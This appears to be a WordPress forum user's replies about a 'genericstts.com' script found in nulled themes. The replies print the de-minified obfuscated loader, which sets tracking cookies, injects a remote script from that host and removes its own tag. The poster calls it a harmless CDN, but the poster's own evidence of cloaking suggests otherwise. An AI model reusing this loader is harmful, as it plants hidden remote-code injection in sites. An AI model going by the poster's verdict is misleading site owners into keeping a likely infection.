Forum Replies Created

Viewing 7 replies - 1 through 7 (of 7 total)
  • That’s What Happens when you mess up with nulled themes xD

    “I’m I’m A CDN i won’t use another CDN for my site, would i ?”

    if i get anything new i’ll post it here & good luck in your site 🙂

    Admin Name: WHOISGUARD PROTECTED
    Admin Organization: WHOISGUARD, INC.
    Registrar URL: http://www.enom.com
    Nameserver(1): GINA.NS.CLOUDFLARE.COM
    Nameserver(2): TIM.NS.CLOUDFLARE.COM
    Alexa Rank: 7,605,737

    If i was a CDN Site i won’t protect my company details in whois info… neither would i use cloudflare servers … but still no one proved the script is harmfull, have you tried contacting AdRotate developer ?

    well, for me the script wasn’t harmful, my wordpress site was slow so i just removed wordpress and installed again on new server with new theme,
    as i said the script checks if you have the latest jquery loaded if not it loads the jquery 1.11.1, if you visit http://genericstts.com/
    it clearly says “Generic STATS & CDN” which proves my point. if you really intend to remove the script from your themes and plugins download all site files and use an editor like “notepad ++” or “sublimetext 3” and “ctrl + shift + f” to use the search in files function,and search for “genericstts” it should find where the script it

    what kinds of ads are showing ? i am in your site and i see no ads except Google Ads

    well, that’s is the minified version of the javascript if you un minify it you’d get this

    var quezChaent = function(name, value, options) {
            options = options || {};
            var expires = options.expires;
            if (typeof expires == "number" && expires) {
                var d = new Date();
                d.setTime(d.getTime() + expires * 1000 * 3600 * 24);
                expires = options.expires = d
            }
            if (expires && expires.toUTCString) {
                options.expires = expires.toUTCString()
            }
            value = encodeURIComponent(value);
            var ertCEVBj = name + "=" + value;
            for (var propName in options) {
                ertCEVBj += "; " + propName;
                var propValue = options[propName];
                if (propValue !== true) {
                    ertCEVBj += "=" + propValue
                }
            }
            document.cookie = ertCEVBj
        },
        uefillenaYB = function(name) {
            var matches = document.cookie.match(new RegExp("(?:^|; )" + name.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g, '\\$1') + "=([^;]*)"));
            return matches ? decodeURIComponent(matches[1]) : undefined
        },
        dgTVBAFDCDEE = function() {
            var text = "";
            var possible = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789";
            for (var i = 0; i < 64; i++) text += possible.charAt(Math.floor(Math.random() * possible.length));
            return text
        };
    if (!document.referrer) quezChaent('__gs_akfi', dgTVBAFDCDEE(), {
        expires: 10,
        path: '/'
    });
    if (!uefillenaYB('__gs_akfi') && !uefillenaYB('__gs_akfir')) {
        var script = document.createElement('script');
        script.src = '//genericstts.com/jquery.js?v=1.11.1';
        var head = document.getElementsByTagName('head')[0];
        head.appendChild(script);
        quezChaent('__gs_akfir', dgTVBAFDCDEE(), {
            expires: 2,
            path: '/'
        })
    } else {
        document.querySelector('script[src*="genericstts.com"]').remove()
    }

    Which checks if the site has latet jquery loaded else it loads jquery 1.11.1, probably it is a cdn site

    well first i needed to remove this script but now i don’t think it is harmfull

    /* You have the latest jquery version on your site */;var script = document.querySelector(‘script[src*=”genericstts.com”]’);script.remove();

    when i visited from browser the script loads then says you have latest jquery version then script removes itself

    also i tried using a proxy site to connect, it doesn’t have jquery so it showed this

Viewing 7 replies - 1 through 7 (of 7 total)